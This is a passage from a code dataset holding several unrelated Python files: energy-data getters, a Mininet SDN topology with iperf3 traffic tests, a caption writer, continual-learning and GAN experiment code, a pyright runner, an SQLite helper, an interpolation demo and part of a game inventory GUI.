pipeline\n if \"end_user_installation_type\" in mcs.columns:\n mcs[\"installation_type\"] = mcs[\"installation_type\"].fillna(\n mcs[\"end_user_installation_type\"]\n )\n mcs = mcs.drop(columns=[\"end_user_installation_type\"])\n\n mcs_domestic = mcs.loc[mcs.installation_type == \"Domestic\"].reset_index(drop=True)\n\n return mcs_domestic\n\n\ndef get_offgas():\n \"\"\"Get dataset of off-gas-grid postcodes.\n\n Returns:\n pd.DataFrame: Dataframe containing off-gas postcodes.\n \"\"\"\n og = pd.read_excel(\n PROJECT_DIR / off_gas_path,\n sheet_name=\"Off Gas Live PostCodes 22\",\n )\n\n og = og.rename(columns={\"Post Code\": \"postcode\"})\n og[\"postcode\"] = og[\"postcode\"].str.replace(\" \", \"\")\n og[\"off_gas\"] = True\n\n return og\n\n\ndef get_rurality():\n \"\"\"Get dataset of postcodes and their rurality indices.\n Two codes are used - the more specific 10-fold code, and the less specific\n two-fold code (\"rural\"/\"urban\").\n\n Returns:\n pd.DataFrame: Dataset with postcodes and ruralities.\n \"\"\"\n oa = pd.read_csv(\n PROJECT_DIR / oa_path, encoding=\"latin-1\"\n ) # latin-1 as otherwise invalid byte\n\n oa = oa[[\"pcd7\", \"oa11cd\"]].rename(\n columns={\"pcd7\": \"postcode\", \"oa11cd\": \"oa_code\"}\n )\n oa[\"postcode\"] = oa[\"postcode\"].str.replace(\" \", \"\")\n\n rural = pd.read_excel(\n PROJECT_DIR / rurality_path, engine=\"odf\", sheet_name=\"OA11\", skiprows=2\n )\n rural = rural.rename(\n columns={\n \"Output Area 2011 Code\": \"oa_code\",\n \"Rural Urban Classification 2011 code\": \"rurality_10_code\",\n \"Rural Urban Classification 2011 (10 fold)\": \"rurality_10_label\",\n \"Rural Urban Classification 2011 (2 fold)\": \"rurality_2_label\",\n }\n )\n rural[\"rurality_10_code\"] = rural[\"rurality_10_code\"].replace(\n {\"C1\\xa0\\xa0\": \"C1\", \"D1\\xa0\": \"D1\"}\n )\n rural[\"rurality_10_label\"] = rural[\"rurality_10_label\"].replace(\n {\n \"Urban major conurbation\\xa0\": \"Urban major conurbation\",\n \"Urban city and town\\xa0\\xa0\": \"Urban city and town\",\n \"Rural town and fringe\\xa0\": \"Rural town and fringe\",\n \"Rural village\\xa0in a sparse setting\": \"Rural village in a sparse setting\",\n \"Rural town and fringe\\xa0in a sparse setting\\xa0\": \"Rural town and fringe in a sparse setting\",\n }\n )\n\n oa_rural = oa.merge(rural, on=\"oa_code\")\n # rurality data is just for England/Wales - fine for this purpose\n\n return oa_rural\n\n\ndef check_local_epc():\n \"\"\"\n Checks local directory for relevant EPC batch and downloads relevant EPC batch from S3 to local directory if not found.\n\n \"\"\"\n epc_batch = arguments.epc_batch\n\n local_epc_output_dir = os.path.join(\n LOCAL_DATA_DIR, base_config.OUTPUT_DATA_PATH, \"{}\"\n )\n\n local_epc_file_path = os.path.join(\n local_epc_output_dir, f\"EPC_GB_{epc_processing_version}.csv\"\n )\n\n local_epc_batch_path = get_batch_path(\n rel_path=local_epc_file_path,\n data_path=\"S3\",\n batch=epc_batch,\n check_folder=\"outputs\",\n )\n\n if not os.path.exists(local_epc_batch_path) and not os.path.exists(\n os.path.join(local_epc_batch_path, \".zip\")\n ):\n logger.info(\n f\"EPC data; batch: `{local_epc_batch_path.parts[-2]}`; version: `{epc_processing_version}` not found in \"\n f\"local directory: {LOCAL_DATA_DIR}.\\n\"\n f\"Now downloading from S3 to {LOCAL_DATA_DIR}.\"\n )\n download_core_data(\n dataset=download_core_data_epc_version,\n local_dir=LOCAL_DATA_DIR,\n batch=epc_batch,\n )\n\n\ndef get_wales_epc():\n \"\"\"Get Welsh EPC data (processed but not deduplicated).\n\n Returns:\n pd.DataFrame: Welsh preprocessed EPC data.\n \"\"\"\n check_local_epc()\n\n epc_batch = arguments.epc_batch\n\n wales_epc = load_preprocessed_epc_data(\n data_path=LOCAL_DATA_DIR,\n usecols=None,\n version=epc_processing_version,\n subset=\"Wales\",\n batch=epc_batch,\n )\n\n return wales_epc\n\n\ndef get_mcs_epc_domestic():\n \"\"\"Get domestic MCS installations joined with EPC data.\n\n Returns:\n pd.DataFrame: Domestic MCS-EPC data.\n \"\"\"\n mcs_epc = mcs_installations_epc_full_data\n mcs_epc[\"commission_date\"] = pd.to_datetime(mcs_epc[\"commission_date\"])\n mcs_epc[\"INSPECTION_DATE\"] = pd.to_datetime(mcs_epc[\"INSPECTION_DATE\"])\n\n if \"end_user_installation_type\" in mcs_epc.columns:\n mcs_epc[\"installation_type\"] = mcs_epc[\"installation_type\"].fillna(\n mcs_epc[\"end_user_installation_type\"]\n )\n mcs_epc_domestic = mcs_epc.loc[mcs_epc.installation_type == \"Domestic\"].reset_index(\n drop=True\n )\n\n return mcs_epc_domestic\n\n\ndef get_electric_tenure():\n \"\"\"Get census 2021 data on electric heating vs tenure.\n\n Returns:\n pd.DataFrame: Dataset of tenure counts for properties on electric heating in Wales.\n \"\"\"\n data = pd.read_csv(PROJECT_DIR / tenure_path)\n\n data = data[\n [\n \"Countries\",\n \"Type of central heating in household (13 categories)\",\n \"Observation\",\n \"Tenure of household (5 categories)\",\n ]\n ].rename(\n columns={\n \"Countries\": \"country\",\n \"Type of central heating in household (13 categories)\": \"heating_type\",\n \"Observation\": \"n\",\n \"Tenure of household (5 categories)\": \"tenure\",\n }\n )\n\n data = data.loc[\n (data[\"country\"] == \"Wales\")\n & (data[\"heating_type\"] == \"Electric only\")\n & (data[\"tenure\"] != \"Does not apply\")\n ].reset_index(drop=True)\n\n data[\"tenure\"] = data[\"tenure\"].replace(\n {\n \"Owned: Owns outright\": \"Owned outright\",\n \"Owned: Owns with a mortgage or loan or shared ownership\": \"Owned with\\nmortgage/loan or\\nshared ownership\",\n \"Private rented or lives rent free\": \"Private rented or\\nrent free\",\n \"Rented: Social rented\": \"Social rented\",\n }\n )\n\n return data\n","repo_name":"nestauk/asf_welsh_energy_consultation","sub_path":"asf_welsh_energy_consultation/getters/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":10513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19036513018","text":"# !/usr/bin/python\r\nimport sys, getopt, time, os\r\n\r\nfrom mininet.net import Mininet\r\nfrom mininet.topo import Topo\r\nfrom mininet.log import lg, setLogLevel, info, output, warn\r\nfrom mininet.cli import CLI\r\nfrom mininet.link import TCLink\r\nfrom mininet.node import RemoteController, Host, CPULimitedHost\r\nfrom mininet.node import OVSSwitch\r\nfrom mininet.util import irange, dumpNodeConnections\r\nfrom mininet.util import custom, pmonitor\r\nfrom mininet.clean import cleanup\r\nimport logging\r\nfrom functools import partial\r\nimport time\r\nimport argparse\r\n\r\nglobal bw_core_aggr, bw_aggr_edge\r\nlogger = logging.getLogger(__name__)\r\nbw_core_aggr = 1000 # Mbps\r\nbw_aggr_edge = 1000\r\nbw_edge_host = 9999 # Inf.\r\nFANOUT = 10\r\n\r\n\r\nclass I2Topo(Topo):\r\n\r\n def __init__(self, enable_all=True):\r\n \"Create twoPath topology.\"\r\n\r\n # Add default members to class.\r\n super(I2Topo, self).__init__()\r\n\r\n # Add core switches\r\n h1 = self.addHost('h1', ip='192.0.0.1', mac='00:aa:aa:05:00:01')\r\n h2 = self.addHost('h2', ip='192.0.0.2', mac='00:aa:aa:05:00:02')\r\n\r\n s1 = self.addSwitch('s1', protocols='OpenFlow13')\r\n s2 = self.addSwitch('s2', protocols='OpenFlow13')\r\n s3 = self.addSwitch('s3', protocols='OpenFlow13')\r\n s4 = self.addSwitch('s4', protocols='OpenFlow13')\r\n s5 = self.addSwitch('s5', protocols='OpenFlow13')\r\n\r\n self.addLink(s1, s2)\r\n self.addLink(s2, s3)\r\n self.addLink(s3, s4)\r\n self.addLink(s4, s5)\r\n\r\n self.addLink(h1, s1)\r\n self.addLink(h2, s5)\r\n\r\nclass LinearTraffic(Topo):\r\n SwitchList = []\r\n EdgeSwitchList = []\r\n HostList = []\r\n\r\n def __init__(self,k,t):\r\n self.num = k\r\n self.tenant = t\r\n\r\n Topo.__init__(self)\r\n self.createTopo()\r\n self.createLink()\r\n\r\n def createTopo(self):\r\n self.addSwitchs(self.num,1,self.SwitchList)\r\n self.createHost(self.num, self.tenant)\r\n\r\n def addSwitchs(self, number, level, switch_list):\r\n temp_sw_dpid = str(level) + \"000000000000\"\r\n for x in xrange(0, number + 1):\r\n POSTFIX = \"00\"\r\n PREFIX = str(level) + \"00\"\r\n if x >= int(16):\r\n POSTFIX = \"0\"\r\n if x >= int(256):\r\n POSTFIX = \"\"\r\n\r\n if x >= int(10):\r\n PREFIX = str(level) + \"0\"\r\n\r\n sw_dpid = temp_sw_dpid + POSTFIX + (str(hex(x)).replace(\"0x\", \"\"))\r\n print(sw_dpid)\r\n switch_list.append(self.addSwitch('s' + PREFIX + str(x), protocols='OpenFlow13',\r\n dpid=sw_dpid))\r\n def createHost(self, NUMBER, Tenant):\r\n logger.debug(\"Create Host\")\r\n self.HostList.append(self.addHost(\"h001\",ip=\"192.0.0.1\"))\r\n for x in range(0, NUMBER*Tenant):\r\n x=x+2\r\n PREFIX = \"h00\"\r\n if x >= int(10):\r\n PREFIX = \"h0\"\r\n if x >= int(100):\r\n PREFIX = \"h\"\r\n IPaddr = \"192.0.0.%d\" % (x);\r\n self.HostList.append(self.addHost(PREFIX + str(x), ip=IPaddr))\r\n\r\n def createLink(self):\r\n end = self.num\r\n logger.debug(\"Add link switch to switch\")\r\n print(self.SwitchList)\r\n for i in range(0,end):\r\n self.addLink(self.SwitchList[i],self.SwitchList[i+1],bw=bw_core_aggr)\r\n logger.debug(\"Add link Edge to Host\")\r\n self.addLink(self.SwitchList[0],self.HostList[0])\r\n for j in range(1,end+1):\r\n for v in range(0,self.tenant):\r\n hostcount = 1+self.tenant*(j-1)+v\r\n print(j,hostcount)\r\n self.addLink(self.SwitchList[j],self.HostList[hostcount])\r\n\r\n\r\nif __name__ == '__main__':\r\n setLogLevel('info')\r\n \r\n parser = argparse.ArgumentParser(description='Linear physical topology')\r\n parser.add_argument('--node', '-n', help='total physical node number')\r\n parser.add_argument('--tenant','-t', help='tenant num')\r\n parser.add_argument('--vnode', '-v', help='virtual node number per tenant')\r\n parser.add_argument('--ip', '-i', help='Meteor`s IP address')\r\n args = parser.parse_args()\r\n \r\n k = args.node\r\n k = int(k)\r\n\r\n t = args.tenant\r\n t = int(t)\r\n\r\n dn = args.vnode\r\n dn = int(dn)\r\n \r\n ip = args.ip\r\n #ip = '20.0.0.2'\r\n port = 6633\r\n\r\n #Link capacity\r\n capa = 100\r\n\r\n bw_core_aggr = capa # Mbps\r\n bw_aggr_edge = capa\r\n\r\n lin_topo = LinearTraffic(k,t)\r\n c = RemoteController('c', ip=ip, port=port)\r\n net = Mininet(topo=lin_topo, autoSetMacs=True, controller=None, link=TCLink)\r\n net.addController(c)\r\n net.start()\r\n\r\n info(\"[Link capacitiy] core-aggr: %d Mbps, aggr-edge: %d Mbps, edge-host: %d Mbps \\n\" % (\r\n bw_core_aggr, bw_aggr_edge, bw_edge_host))\r\n\r\n hosts = [0]\r\n hosts.extend(net.hosts)\r\n\r\n current_time = time.strftime(\"%m%d_%H%M%S\", time.gmtime())\r\n current_time = (str(current_time))\r\n\r\n raw_input(\"Generate traffic? \")\r\n c.cmd('date +\"%Y-%m-%d %H:%M:%S.%N\" > date.txt')\r\n\r\n for te in range(0,t):\r\n snum = 2+te\r\n dnum = 2+(dn-1)*t+te\r\n print(\"snum: \",snum,\" dnum: \",dnum)\r\n s1 = hosts[snum]\r\n c1 = hosts[dnum]\r\n print(\"src: \" + s1.name, \"/ dst: \" + c1.name)\r\n\r\n for j in range(0, 1):\r\n port = port + 1\r\n print(\"Generate Traffic bewteen %s and %s using port(%s)\" % (c1.params['ip'], s1.params['ip'], port))\r\n result1 = c1.cmd(\"iperf3 -s -1 -p %s > iperfResult/host_%s_1.txt &\" % (port, te))\r\n result2 = s1.cmd(\"iperf3 -c %s -p %s -n 1 -l 100 > iperfResult/host_%s_2.txt &\" % (c1.params['ip'], port, te))\r\n print(\"traffic connection %s/%s\" % (j+1, 128))\r\n\r\n CLI(net)\r\n\r\n net.stop()\r\n\r\n","repo_name":"yeonhooy/Meteor_Control_Channel_Isolation_SDN_Virtualization","sub_path":"PhysicalTopology/linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":5774,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"69"} +{"seq_id":"2681027947","text":"import pandas as pd\nfrom datetime import datetime, timedelta\n\nclass CreateClosedCaptions(object):\n\t\"\"\"\n\t\"\"\"\n\tdef __init__(self, filename, segments, outpath):\n\t\t\"\"\" Transcribe audio with whisper model\n\n\t\tParameters\n\t\t-----------\n\t\tfilename : string\n\t\t\tname of the file being transcribed\n\t\tsegments : list of dictionaries or pandas df\n\t\t\tcreated in the transcribe_audio_file method of or diarize_audio_file\n\t\t\tmethod in SpeechPipeline class. Text segments of Audio.\n\t\toutpath : string\n\t\t\tpath to save vtt file to\n\t\t\"\"\"\n\n\t\tif isinstance(segments, pd.DataFrame):\n\t\t\tself.segments = segments\n\t\telse:\n\t\t\tself.segments = pd.DataFrame(segments)\n\n\t\tself.outpath = outpath\n\t\tself.filename = filename\n\n\t# define function to convert seconds to desired format\n\tdef convert_seconds(self, seconds):\n\t\t\"\"\"\n\t\tParameters\n\t\t-----------\n\t\tseconds : xxx\n\t\t\txxx\n\n\t\tReturns\n\t\t-----------\n\t\tformatte_times : xxx\n\t\t\txxx\n\t\t\"\"\"\n\n\t\t# create timedelta object with total seconds\n\t\ttd = timedelta(seconds=seconds)\n\t\t# use strftime method to format timedelta object as desired\n\t\treturn (datetime.min + td).strftime('%H:%M:%S.%f')[:-3]\n\n\n\tdef create_vtt_file(self, verbose):\n\t\t\"\"\"\n\t\tReturns\n\t\t----------\n\t\tvtt_file: file\n\t\t\tsaved to location of outpath\n\t\t\"\"\"\n\n\t\tvtt_path = self.outpath+self.filename\n\t\t# Load the CSV file into a pandas dataframe\n\t\t\n\t\t# Convert the timecode columns to timedelta format\n\t\tself.segments['start_vtt'] = self.segments['start'].apply(self.convert_seconds)\n\t\tself.segments['end_vtt'] = self.segments['end'].apply(self.convert_seconds)\n\t\t\n\t\t# Write the WebVTT file\n\t\twith open(vtt_path, 'w') as f:\n\t\t\t# Write the WebVTT header\n\t\t\tf.write('WEBVTT\\n\\n')\n\t\t\t\n\t\t\t# Loop through each row of the dataframe and write the subtitle data\n\t\t\tfor index, row in self.segments.iterrows():\n\t\t\t\t# Write the subtitle index\n\t\t\t\tf.write(str(index + 1) + '\\n')\n\t\t\t\t\n\t\t\t\t# Write the subtitle timecode\n\t\t\t\tf.write(str(row['start_vtt']) + ' --> ' + str(row['end_vtt']) + '\\n')\n\t\t\t\t\n\t\t\t\t# Write the subtitle text\n\t\t\t\tf.write(str(row['text']) + '\\n\\n')\n\n\t\tif verbose:\n\t\t\tprint('#### File saved to ', vtt_path, ' ####')\n\t\treturn","repo_name":"BeamMeUpSkoty/speech_pipeline","sub_path":"create_closed_captions.py","file_name":"create_closed_captions.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"29344119575","text":"from stream_benchmark.utils.buffer import Buffer\nfrom stream_benchmark.models.__base_model import BaseModel\nimport torch\n\n\n\nclass Fdr(BaseModel):\n name = 'fdr'\n description = \"Continual learning via Function Distance Regularization.\"\n link = \"https://arxiv.org/abs/1805.08289\"\n\n\n def __init__(self, backbone, loss, lr, buffer_size, batch_size, minibatch_size, **_):\n super(Fdr, self).__init__(backbone, loss, lr)\n self.buffer = Buffer(buffer_size, self.device)\n self.current_task = 0\n self.i = 0\n self.soft = torch.nn.Softmax(dim=1)\n self.logsoft = torch.nn.LogSoftmax(dim=1)\n self.buffer_size = buffer_size\n self.batch_size = batch_size\n self.minibatch_size = minibatch_size\n\n def begin_task(self, *_):\n pass\n\n def end_task(self, train_loader, *_):\n self.current_task += 1\n examples_per_task = self.buffer_size // self.current_task\n\n if self.current_task > 1:\n buf_x, buf_log, buf_tl = self.buffer.get_all_data()\n self.buffer.empty()\n\n for ttl in buf_tl.unique():\n idx = (buf_tl == ttl)\n ex, log, tasklab = buf_x[idx], buf_log[idx], buf_tl[idx]\n first = min(ex.shape[0], examples_per_task)\n self.buffer.add_data(\n examples=ex[:first],\n logits=log[:first],\n task_labels=tasklab[:first]\n )\n counter = 0\n with torch.no_grad():\n for i, data in enumerate(train_loader):\n inputs, labels = data\n inputs = inputs.to(self.device)\n not_aug_inputs = inputs.clone().detach()\n outputs = self.net(inputs)\n if examples_per_task - counter < 0:\n break\n self.buffer.add_data(examples=not_aug_inputs[:(examples_per_task - counter)],\n logits=outputs.data[:(examples_per_task - counter)],\n task_labels=(torch.ones(self.batch_size) *\n (self.current_task - 1))[:(examples_per_task - counter)])\n counter += self.batch_size\n\n def observe(self, inputs, labels, not_aug_inputs):\n self.i += 1\n\n self.optimizer.zero_grad()\n outputs = self.net(inputs)\n loss = self.loss(outputs, labels)\n loss.backward()\n self.optimizer.step()\n if not self.buffer.is_empty():\n self.optimizer.zero_grad()\n buf_inputs, buf_logits, _ = self.buffer.get_data(self.minibatch_size, transform=None)\n buf_outputs = self.net(buf_inputs)\n loss = torch.norm(self.soft(buf_outputs) - self.soft(buf_logits), 2, 1).mean()\n assert not torch.isnan(loss)\n loss.backward()\n self.optimizer.step()\n\n return loss.item()\n","repo_name":"fostiropoulos/stream_benchmark","sub_path":"stream_benchmark/models/fdr.py","file_name":"fdr.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"31025178659","text":"import argparse\n\n\n# Need to get data, labels, time\nimport os\nfrom typing import List\n\nimport numpy as np\nimport tomlkit\n\nfrom af_accel_GAN import standard_conditional, save_gan\nfrom constants.af_accel_constants import CONFIG_DATA, H_PARAMS, DATA_DIR, DATA_PATH, TIME_PATH, LABEL_PATH, DATA_LENGTH, \\\n DTYPE, LATENT_DIM, EPOCHS, BATCH_SIZE\nfrom constants.experiments_constants import EXPERIMENTS, REPEATS, RES_DIR, BATCHES\nfrom custom_functions.custom_classes import Data, Hyperparameters\nfrom utils.toml_utils import load_toml\n\n\ndef data_interpolate(data: Data, hp: Hyperparameters, repeat_amounts: List, folder=None):\n results_dir = folder if folder is not None else ''\n for repeat in repeat_amounts:\n hp.num_repeats = repeat # this is for when num_repeats gets removed\n model, _ = standard_conditional(\n data.time, data.data, data.labels, data.data_size, data.data_type,\n hp.lat_dim, hp.epochs, hp.batch_size, num_repeats=repeat)\n gen_name = f'generator-{repeat}-repeats'\n critic_name = f'critic-{repeat}-repeats'\n save_gan(model.generator, model.discriminator, results_dir, gen_name, critic_name)\n del model\n\n\ndef batch_interpolate(data: Data, hp: Hyperparameters, batch_amounts: List, folder=None):\n results_dir = folder if folder is not None else ''\n for batch in batch_amounts:\n hp.batch_size = batch # this is for when num_repeats gets removed\n model, _ = standard_conditional(\n data.time, data.data, data.labels, data.data_size, data.data_type,\n hp.lat_dim, hp.epochs, batch, num_repeats=hp.num_repeats)\n gen_name = f'generator-{batch}-batch_size'\n critic_name = f'critic-{batch}-batch_size'\n save_gan(model.generator, model.discriminator, results_dir, gen_name, critic_name)\n del model\n\n\ndef check_dir_exists(config, key):\n return config[key] if key in config else ''\n\n\ndef get_data_from_config(config_file: tomlkit.TOMLDocument) -> Data:\n \"\"\" Parse through data section of config file and return Data object.\"\"\"\n config_data = config_file[CONFIG_DATA]\n data_dir = check_dir_exists(config_data, DATA_DIR)\n data = np.load(os.path.join(data_dir, config_data[DATA_PATH]))\n time = np.load(os.path.join(data_dir, config_data[TIME_PATH]))\n labels = np.load(os.path.join(data_dir, config_data[LABEL_PATH]))\n data = Data(time, data, DATA_LENGTH, config_data[DTYPE], labels)\n return data\n\n\ndef get_args():\n \"\"\" Parse command line.\"\"\"\n parse = argparse.ArgumentParser()\n parse.add_argument('config_file') # Path to config file\n subparsers = parse.add_subparsers()\n parser_di = subparsers.add_parser('data-interpolation', aliases=['di'])\n parser_di.set_defaults(func=di_parser)\n parser_bi = subparsers.add_parser('batch-interpolation', aliases=['bi'])\n parser_bi.set_defaults(func=bi_parser)\n # Parse arguments\n args = parse.parse_args()\n args.func(args)\n\n\ndef bi_parser(args):\n config_table = load_toml(args.config_file)\n config_hp = config_table[H_PARAMS]\n data = get_data_from_config(config_table)\n latent_dim = config_hp[LATENT_DIM]\n epochs = config_hp[EPOCHS]\n batches = config_table[EXPERIMENTS][BATCHES]\n results_dir = config_table[EXPERIMENTS][RES_DIR]\n hp = Hyperparameters(latent_dim, epochs, batches[0])\n batch_interpolate(data, hp, batches, folder=os.path.join(results_dir, 'batch_interpolation'))\n return data, hp, batches\n\n\ndef di_parser(args):\n config_table = load_toml(args.config_file)\n config_hp = config_table[H_PARAMS]\n data = get_data_from_config(config_table)\n latent_dim = config_hp[LATENT_DIM]\n epochs = config_hp[EPOCHS]\n batch_size = config_hp[BATCH_SIZE]\n repeats = config_table[EXPERIMENTS][REPEATS]\n results_dir = config_table[EXPERIMENTS][RES_DIR]\n hp = Hyperparameters(latent_dim, epochs, batch_size)\n data_interpolate(data, hp, repeats, folder=os.path.join(results_dir, 'data_interpolation'))\n return data, hp, repeats\n\n\ndef main():\n get_args()\n # data, hp, repeats = get_args()\n # data_interpolate(data, hp, repeats, folder=os.path.join('results', 'data_interpolation'))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"zhymirt/keras_NN","sub_path":"src/experiments/data_amount_interpolation.py","file_name":"data_amount_interpolation.py","file_ext":"py","file_size_in_byte":4220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"12568157847","text":"#!/usr/bin/env python3\n\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\n_PYRIGHT_VERSION = \"1.1.175\" # Must match tests.yml.\n_WELL_KNOWN_FILE = Path(\"tests\", \"pyright_test.py\")\n\n\ndef main() -> None:\n if not _WELL_KNOWN_FILE.exists():\n print(\"pyright_test.py must be run from the typeshed root directory\", file=sys.stderr)\n sys.exit(1)\n\n # subprocess.run on Windows does not look in PATH.\n npx = shutil.which(\"npx\")\n\n if npx is None:\n print(\"error finding npx; is Node.js installed?\", file=sys.stderr)\n sys.exit(1)\n\n try:\n subprocess.run([npx, \"--version\"])\n except OSError:\n print(\"error running npx; is Node.js installed?\", file=sys.stderr)\n sys.exit(1)\n\n command = [npx, \"-p\", \"pyright@\" + _PYRIGHT_VERSION, \"pyright\"] + sys.argv[1:]\n\n ret = subprocess.run(command).returncode\n sys.exit(ret)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"yuchuangu85/intellij-community-idea","sub_path":"python/helpers/typeshed/tests/pyright_test.py","file_name":"pyright_test.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"15178264921","text":"\nimport os \nimport re\nimport sqlite3\nfrom dbml_sqlite import toSQLite\nimport pandas as pd\n\n\nclass Database:\n def __init__(self,dbname:str,dbml_path:str,build:bool):\n self.dbname = dbname\n self.build = build\n self.dbml_path = dbml_path\n \n \n def create_database(self):\n\n if self.build:\n if self.dbname in os.listdir('./'):\n os.remove(self.dbname)\n \n ddl = toSQLite(self.dbml_path)\n con = self.connection()\n with con:\n con.executescript(ddl)\n #self._insert_data(files)\n\n\n def connection(self):\n \n return sqlite3.connect(self.dbname)\n\n def list_tables(self):\n cursor = self.connection().cursor() \n cursor.execute(\"select name from sqlite_master where type == 'table'\")\n return cursor.fetchall()\n\n def insert_data(self, files_path:str):\n files = os.listdir(files_path)\n files.sort()\n\n for file in files:\n df_ = pd.read_csv(f'{files_path}{file}')\n table_name = re.sub(r'\\d_','',file)\n table_name = table_name.replace('.csv','')\n if 'id' in df_.columns:\n df_.drop(['id'], axis=1, inplace=True)\n\n df_.to_sql(table_name, self.connection(), if_exists=\"append\",index=False)\n","repo_name":"GreedBlink/pipo-saude-case","sub_path":"src/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3238436233","text":"\"\"\"\n@project: Scientific-and-Engineering-Computing\n@author: sam\n@file: main.py\n@ide: PyCharm\n@time: 2018-12-05 20:05:02\n@blog: https://jiahaoplus.com\n\"\"\"\nfrom interpolation import *\nfrom numpy import linspace\nimport matplotlib.pyplot as plt\n\n\ndef get_XY(n):\n \"\"\"Get points(x, y), -1 <= x <= 1, y = 1 / (1 + 25 * x ** 2)\n :param n:\n :return: x, y\n \"\"\"\n X = []\n Y = []\n for i in range(n + 1):\n tmp = -1 + 2 * i / n\n X.append(tmp)\n Y.append(1 / (1 + 25 * tmp * tmp))\n\n return X, Y\n\n\ndef main():\n \"\"\"\n :return:\n \"\"\"\n print('Test 1')\n X = [0.2, 0.4, 0.6, 0.8, 1.0]\n Y = [0.98, 0.92, 0.81, 0.64, 0.38]\n I = [0, 1, 10, 11]\n print('Lagrange Method')\n y = lambdify(x, lagrange(X, Y))\n for i in I:\n xi = 0.2 + 0.08 * i\n print('f(' + str(xi) + ') =', y(xi))\n print('----------------------------------')\n print('Newton Method')\n y = lambdify(x, newton(X, Y))\n for i in I:\n xi = 0.2 + 0.08 * i\n print('f(' + str(xi) + ') =', y(xi))\n print('----------------------------------')\n\n print('Test 2')\n for n in range(2, 10):\n print('n =', n)\n X, Y = get_XY(n)\n\n y = lagrange(X, Y)\n print('Lagrange Method:', y)\n\n x_val = linspace(-1, 1, 100)\n y_val = lambdify(x, y)(x_val)\n plt.subplot(3, 1, 1)\n plt.title('Lagrange Method(n=' + str(n) + ')')\n plt.scatter(X, Y)\n plt.plot(x_val, y_val)\n\n y = newton(X, Y)\n print('Newton Method:', y)\n\n y_val = lambdify(x, y)(x_val)\n plt.subplot(3, 1, 2)\n plt.title('Newton Method(n=' + str(n) + ')')\n plt.plot(x_val, y_val)\n plt.scatter(X, Y)\n\n y = 1 / (1 + 25 * x ** 2)\n y_val = lambdify(x, y)(x_val)\n plt.subplot(3, 1, 3)\n plt.plot(x_val, y_val)\n plt.scatter(X, Y)\n plt.title('1/(1+25x^2) (n=' + str(n) + ')')\n plt.show()\n\n print()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jiahao-shen/Scientific-and-Engineering-Computing-Course","sub_path":"lab3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37987191920","text":"# -*- coding: gb18030 -*-\n#\n# $Id: ItemsPanel.py,v 1.4 2008-07-07 11:10:00 wangshufeng Exp $\n#\n# rewrited by ganjinxing at 2009-12-17\n\n\nfrom guis import *\nfrom bwdebug import *\nfrom guis.controls.TextBox import TextBox\nfrom guis.controls.StaticText import StaticText\nfrom guis.controls.StaticLabel import StaticLabel\nfrom guis.controls.ODComboBox import ODComboBox\nfrom guis.controls.SelectorGroup import SelectorGroup\nfrom guis.controls.SelectableButton import SelectableButton\nfrom guis.common.GUIBaseObject import GUIBaseObject\nfrom StoreItem import StoreItem\nfrom cscollections import MapList\nfrom ItemsFactory import ObjectItem\nfrom LabelGather import labelGather\nfrom config.client.msgboxtexts import Datas as mbmsgs\nimport string\nimport csdefine\nimport csstatus\n\nclass ItemsPanel( GUIBaseObject ):\n\n\t# 默认包裹名称\n\t_DEF_PACKAGE_NAME = { 0:\"btn_0\",1:\"btn_1\",2:\"btn_2\",3:\"btn_3\",4:\"btn_4\",5:\"btn_5\",6:\"btn_6\"}\n\n\tdef __init__( self, panel, pyBinder = None ):\n\t\tGUIBaseObject.__init__( self, panel )\n\n\t\tself.__pyItems = {}\t\t\t\t\t\t\t\t# 保存物品格\n\t\tself.__storage = {}\t\t\t\t\t\t\t\t# 保存仓库物品{ bagIndex: { itemOrder: itemInfo, ...}, ...}\n\t\tself.__pyMsgBox = None\t\t\t\t\t\t\t# 保存消息窗口,用于控制最多显示一个窗口\n\t\tself.__sortingItemDict = {}\n\t\tself.__sortHandlerMap = {}\n\t\tself.__operateCounter = 0\t\t\t\t\t\t# 记录下需要等待几次服务器返回再继续下次操作\n\n\t\tself.__initialize( panel )\n\n\n\t# ----------------------------------------------------------------\n\t# private\n\t# ----------------------------------------------------------------\n\tdef __initialize( self, panel ) :\n\t\tself.__pyBagName = TextBox( panel.customBox.box, self )\n\t\tself.__pyBagName.maxLength = 10\n\t\tself.__pyBagName.onKeyDown.bind( self.__ChangeName )\n\t\tself.__pyBagName.text = \"\"\n\n\t\tself.__pyItemsAmount = StaticText( panel.stItemNum )\n\t\tself.__setBagAmount( 0 )\n\t\tself.__initItems( panel )\n\t\tself.__initButtons( panel )\n\t\tself.__initSortBox( panel )\n\n\t\t# -------------------------------------------------\n\t\t# 设置标签\n\t\t# -------------------------------------------------\n\t\tlabelGather.setLabel( panel.st_taxisText, \"StoreWndRole:Panel\", \"st_taxisText\" )\n\t\tlabelGather.setLabel( panel.st_customText, \"StoreWndRole:Panel\", \"st_customText\" )\n\n\tdef __initItems( self, panel ):\n\t\t\"\"\"\n\t\t初始化物品格\n\t\t\"\"\"\n\t\tfor name, item in panel.panel_0.children:\n\t\t\tindex = int( name.split( \"_\" )[1] )\n\t\t\tpyItem = StoreItem( item, index, self )\n\t\t\tself.__pyItems[index] = pyItem\n\n\tdef __initButtons( self, panel ) 